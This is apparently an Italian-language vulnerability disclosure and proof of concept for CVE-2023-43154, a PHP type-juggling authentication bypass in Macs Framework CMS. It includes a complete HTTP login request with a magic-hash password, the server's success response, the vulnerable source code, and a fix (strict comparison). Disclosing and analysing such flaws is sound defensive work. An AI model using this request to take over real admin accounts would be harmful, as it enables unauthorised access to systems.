
PoC per la vulnerabilità di type confusion in Mac's CMS che porta all'elusione dell'autenticazione e all'acquisizione dell'account amministratore.
CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Descrizione della vulnerabilità: Un confronto lasco nella funzione isValidLogin() provoca una vulnerabilità di confusione di tipo PHP che può essere sfruttata per bypassare l'autenticazione e prendere il controllo dell'account amministratore.
Parametri vulnerabili: Il nome utente e la password degli utenti del CMS.
Prodotti interessati: Macs Framework v1.14f - Content Management System
Limitazioni:
Interazione utente richiesta: Nessuna
Riferimenti: https://github.com/ally-petitt/CVE-2023-43154-PoC
Data di scoperta: 7 settembre 2023
Segnalato da: Ally Petitt
Effettuando il login all'URI /index.php/main/cms/login con il nome utente dell'account vittima e una qualsiasi password che generi un hash magico si otterrà un bypass dell'autenticazione.
Un esempio di login è mostrato di seguito.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
Il codice di stato 200 e il reindirizzamento a /index.php/home sono entrambi indicatori che il tentativo di login è riuscito. La password di testadmin non era quella utilizzata nel tentativo di login (0gdVIdSQL8Cm). Invece, era impostata a QNKCDZO.
Quando un utente tenta di accedere, la password fornita viene hashata e inviata come parametro alla funzione isValidLogin() tramite la funzione iniziale login() che viene chiamata quando una richiesta POST viene effettuata a /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
La funzione isValidLogin() inizia alla riga 83 del file /Application/plugins/CMS/controllers/CMS.php. È vulnerabile a una vulnerabilità di confusione di tipo a causa dell'uso di 2 segni di uguale invece di 3.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
Come mostrato nell'istruzione if, il nome utente e la password vengono controllati con un confronto lasco, portando a una vulnerabilità di confusione di tipo PHP. Ciò può essere sfruttato quando si effettua il login con una password che genera un hash magico, ovvero un hash che viene interpretato da PHP come avente valore 0 durante un confronto lasco. Un elenco di tali password può essere trovato qui.
Per sfruttare questa vulnerabilità, è importante comprendere innanzitutto il formato in cui è memorizzato $account['password']. Nella funzione utilizzata per salvare un nuovo account utente alla riga 730 del suddetto file CMS.php, diventa chiaro che la password viene prima passata attraverso una funzione encrypt prima di essere memorizzata.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Continuando alla funzione che viene chiamata dopo che la password è stata elaborata da encrypt, viene utilizzato il seguente codice:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
In base al codice sopra, è evidente che la password "cifrata" è stata inserita direttamente nel Model users del framework MVC. Infine, per sfruttare questa vulnerabilità, è necessario comprendere come funziona la funzione encrypt, poiché il suo output viene confrontato direttamente con l'input dell'utente.
private function encrypt( $string )
{
return md5($string);
}
La funzione encrypt restituisce l'hash MD5 della stringa passata. Ciò significa che quando la funzione login() viene chiamata con le credenziali fornite dall'utente, la password inserita viene hashata e confrontata con l'hash MD5 memorizzato dell'account vittima.
L'implicazione è che quando si utilizza una password che genera una collisione PHP, o hash magico, verrà registrata come equivalente quando confrontata con una password memorizzata che segue anch'essa il formato di un hash magico. Di conseguenza, un numero molto elevato di password può essere utilizzato per autenticarsi e prendere il controllo dell'account amministratore, anche quando la password iniziale non è nota in precedenza.
Questa vulnerabilità può essere mitigata modificando il confronto lasco nella funzione isValidLogin() in un confronto stretto sostituendo == con ===.